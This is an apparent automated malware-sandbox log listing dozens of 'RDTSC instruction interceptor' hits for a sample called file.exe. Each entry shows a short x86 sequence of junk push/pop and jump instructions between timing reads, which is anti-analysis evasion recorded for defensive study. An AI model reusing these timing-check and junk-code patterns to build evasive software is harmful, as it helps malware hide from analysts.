Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 807D22 second address: 807D46 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 pushad 0x0000000a je 00007F654C734E5Ch 0x00000010 jnl 00007F654C734E56h 0x00000016 push eax 0x00000017 push edx 0x00000018 jno 00007F654C734E56h 0x0000001e ja 00007F654C734E56h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 807D46 second address: 807DA1 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F654CE0FA06h 0x00000008 jmp 00007F654CE0FA19h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F654CE0FA0Bh 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F654CE0FA13h 0x0000001b jmp 00007F654CE0FA18h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 807741 second address: 807757 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jng 00007F654C734E56h 0x0000000b push eax 0x0000000c pop eax 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 807757 second address: 80775B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80775B second address: 807780 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654C734E5Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F654C734E5Fh 0x00000010 push eax 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 807780 second address: 80778A instructions: 0x00000000 rdtsc 0x00000002 je 00007F654CE0FA06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80A18A second address: 80A1B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F654C734E5Dh 0x00000009 popad 0x0000000a pop eax 0x0000000b jl 00007F654C734E7Bh 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F654C734E5Bh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80A1B0 second address: 80A1C3 instructions: 0x00000000 rdtsc 0x00000002 je 00007F654CE0FA06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jl 00007F654CE0FA06h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 809EE1 second address: 809EE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 809EE6 second address: 809EEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 809EEC second address: 809EF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 809EF0 second address: 809EF6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 809EF6 second address: 809F0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007F654C734E5Bh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80B86E second address: 80B874 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80B874 second address: 80B878 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80B878 second address: 80B892 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F654CE0FA12h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80B892 second address: 80B897 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80B897 second address: 80B8DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F654CE0FA06h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d je 00007F654CE0FA12h 0x00000013 jc 00007F654CE0FA06h 0x00000019 jnc 00007F654CE0FA06h 0x0000001f pop edx 0x00000020 pop eax 0x00000021 push eax 0x00000022 push edx 0x00000023 push ecx 0x00000024 jmp 00007F654CE0FA19h 0x00000029 jno 00007F654CE0FA06h 0x0000002f pop ecx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80B8DB second address: 80B8E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80B8E1 second address: 80B8E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80B8E5 second address: 80B8E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80B8E9 second address: 80B8F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007F654CE0FA16h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8105A3 second address: 8105C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F654C734E65h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 810849 second address: 81084F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81084F second address: 810855 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 810A49 second address: 810A54 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 810BB0 second address: 810BC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F654C734E56h 0x0000000a jmp 00007F654C734E5Fh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 810BC9 second address: 810BE4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F654CE0FA12h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 815486 second address: 815499 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F654C734E56h 0x0000000a push esi 0x0000000b pop esi 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 815601 second address: 815615 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654CE0FA10h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8157B2 second address: 8157BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jne 00007F654C734E56h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8157BF second address: 8157CF instructions: 0x00000000 rdtsc 0x00000002 jo 00007F654CE0FA12h 0x00000008 jnp 00007F654CE0FA06h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 815916 second address: 815920 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F654C734E5Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 815920 second address: 81592C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81592C second address: 815960 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654C734E67h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e pushad 0x0000000f jns 00007F654C734E56h 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a jc 00007F654C734E56h 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 815960 second address: 815964 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 815DB7 second address: 815DD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007F654C734E60h 0x0000000a jnl 00007F654C734E56h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 815DD4 second address: 815DDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81687F second address: 816885 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 819A1A second address: 819A26 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F654CE0FA06h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 819452 second address: 81945A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81ED12 second address: 81ED16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81ED16 second address: 81ED1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81EE78 second address: 81EEA1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F654CE0FA15h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F654CE0FA0Bh 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81F5CA second address: 81F5CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81F5CE second address: 81F5E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654CE0FA10h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81F91F second address: 81F94E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654C734E60h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F654C734E69h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8201E2 second address: 8201E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8201E8 second address: 8201ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 829D46 second address: 829D7D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop esi 0x00000009 pushad 0x0000000a jmp 00007F654CE0FA0Fh 0x0000000f pushad 0x00000010 push eax 0x00000011 pop eax 0x00000012 ja 00007F654CE0FA06h 0x00000018 pushad 0x00000019 popad 0x0000001a jmp 00007F654CE0FA0Dh 0x0000001f popad 0x00000020 pushad 0x00000021 push edi 0x00000022 pop edi 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 828FA3 second address: 828FA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 773CC9 second address: 773CCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 829630 second address: 829638 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 829638 second address: 82963E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82963E second address: 829644 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 829791 second address: 8297C0 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F654CE0FA1Fh 0x00000008 jmp 00007F654CE0FA19h 0x0000000d pushad 0x0000000e jmp 00007F654CE0FA0Bh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8297C0 second address: 8297C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 829AA4 second address: 829AB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 jmp 00007F654CE0FA0Bh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8334C2 second address: 8334D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F654C734E5Eh 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8334D9 second address: 8334ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654CE0FA10h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 831788 second address: 8317A2 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F654C734E56h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F654C734E5Ch 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 831BCF second address: 831BD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 831BD7 second address: 831BDB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 831BDB second address: 831BE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8323CF second address: 8323D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8323D5 second address: 8323D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8323D9 second address: 8323DF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8323DF second address: 8323F6 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F654CE0FA12h 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 838A72 second address: 838A76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 838A76 second address: 838A7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 838A7A second address: 838A9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007F654C734E56h 0x0000000e jmp 00007F654C734E67h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83A5D0 second address: 83A5D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83A5D5 second address: 83A5F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F654C734E66h 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83A5F1 second address: 83A5FD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83A5FD second address: 83A603 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83A603 second address: 83A607 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83A435 second address: 83A439 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83A439 second address: 83A443 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83A443 second address: 83A45E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F654C734E67h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84692F second address: 846959 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007F654CE0FA0Fh 0x0000000a push ebx 0x0000000b jng 00007F654CE0FA06h 0x00000011 pop ebx 0x00000012 js 00007F654CE0FA12h 0x00000018 jnc 00007F654CE0FA06h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 846959 second address: 84697A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 jmp 00007F654C734E68h 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84A2C1 second address: 84A2C7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84A440 second address: 84A458 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F654C734E5Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84A458 second address: 84A462 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F654CE0FA06h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84A462 second address: 84A468 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8506B2 second address: 8506B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 859612 second address: 859617 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85B7CC second address: 85B7D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8628F5 second address: 86290C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654C734E5Ch 0x00000007 push esi 0x00000008 jc 00007F654C734E56h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 862A44 second address: 862A48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 862A48 second address: 862A52 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F654C734E56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 862BAA second address: 862BB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F654CE0FA06h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 862BB8 second address: 862BBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 862D25 second address: 862D50 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F654CE0FA14h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 je 00007F654CE0FA06h 0x00000016 jbe 00007F654CE0FA06h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 862D50 second address: 862D5A instructions: 0x00000000 rdtsc 0x00000002 jc 00007F654C734E56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 862EE3 second address: 862EFF instructions: 0x00000000 rdtsc 0x00000002 js 00007F654CE0FA0Ch 0x00000008 jnp 00007F654CE0FA06h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jnp 00007F654CE0FA0Ah 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a push eax 0x0000001b pop eax 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 862EFF second address: 862F0A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F654C734E56h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 862F0A second address: 862F1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F654CE0FA0Ch 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 863E1E second address: 863E2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 js 00007F654C734E56h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 868DA4 second address: 868DAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a popad 0x0000000b rdtsc
